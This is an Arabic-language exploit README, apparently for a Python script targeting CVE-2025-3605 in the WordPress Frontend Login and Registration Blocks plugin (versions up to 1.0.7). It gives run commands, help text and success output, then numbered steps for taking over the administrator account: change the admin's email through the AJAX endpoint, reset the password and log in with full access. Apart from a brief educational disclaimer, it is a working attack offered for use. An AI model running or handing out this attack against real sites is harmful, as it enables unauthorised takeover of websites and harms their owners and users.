
إضافة WordPress Frontend Login and Registration Blocks Plugin ذات الإصدار 1.0.7 أو أقل معرضة لتصعيد الامتيازات
إضافة Frontend Login and Registration Blocks لووردبريس (الإصدارات <= 1.0.7) معرضة لـ تصعيد الامتيازات عبر الاستيلاء على الحساب.
تنشأ المشكلة لأن الإضافة لا تتحقق من هوية المستخدم عند تحديث التفاصيل الحساسة مثل البريد الإلكتروني عبر دالة flr_blocks_user_settings_handle_ajax_callback().
✅ التأثير:
يمكن لمهاجم غير مصادق تغيير البريد الإلكتروني للمسؤول، وتشغيل عملية "نسيت كلمة المرور"، وإعادة تعيين كلمة مرور المسؤول، مما يمنحه السيطرة الكاملة.
يقوم السكريبت البرمجي المضمن بلغة بايثون بأتمتة عملية الاستغلال من خلال استهداف نقطة نهاية AJAX المعرضة للخطر:
/wp-admin/admin-ajax.php
يقوم بتحديث البريد الإلكتروني للمستخدم المستهدف (عادةً user_id 1 للمسؤول) إلى بريد إلكتروني يتحكم فيه المهاجم.
اسم الملف: CVE-2025-3605.py
python CVE-2025-3605.py --url http://target-site/wordpress --user_id 1 --mail [email protected]
✅ القيم الافتراضية:
--user_id: 1 (المسؤول الافتراضي)--mail: [email protected]لعرض قائمة المساعدة، قم بتشغيل:
python CVE-2025-3605.py --help
المخرجات:
[+] Starting exploit script...
usage: a.py [-h] --url URL [--user_id USER_ID] [--mail MAIL]
Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target URL, e.g., http://192.168.100.74:888/wordpress
--user_id, -id USER_ID
User ID to target (default: 1)
--mail, -mail MAIL Email to set (default: [email protected])
✅ مثال تشغيل:
python CVE-2025-3605.py -u http://192.168.100.74:888/wordpress -id 1 -mail [email protected]
✅ عند النجاح:
[+] Starting exploit script...
[+] Sending exploit to http:/target.com/wp-admin/admin-ajax.php/wp-admin/admin-ajax.php
[+] Exploit successful! Response: {"status":true,"message":"Operation has been completed successfully."}
[+] Final Step: Go to the Forgot Password page and reset the admin password using the new email!
Exploit By : Khaled_alenazi ( Nxploited )
❌ عند الفشل:
[!] Exploit failed. HTTP Status: 400
[!] Response: 0
1️⃣ انتقل إلى:
http://target-site/wordpress/wp-login.php
2️⃣ أدخل البريد الإلكتروني الجديد الذي قمت بتعيينه ([email protected]).
3️⃣ اطلب إعادة تعيين كلمة المرور.
4️⃣ قم بتعيين كلمة مرور جديدة.
5️⃣ سجل الدخول كـ مسؤول واستمتع بالوصول الكامل.
يتم توفير هذا الاستغلال والسكريبت لأغراض تعليمية واختبارية مصرح بها فقط.
أي استخدام غير مصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها هو غير قانوني وغير أخلاقي.
بواسطة: Khaled Alenazi (Nxploited)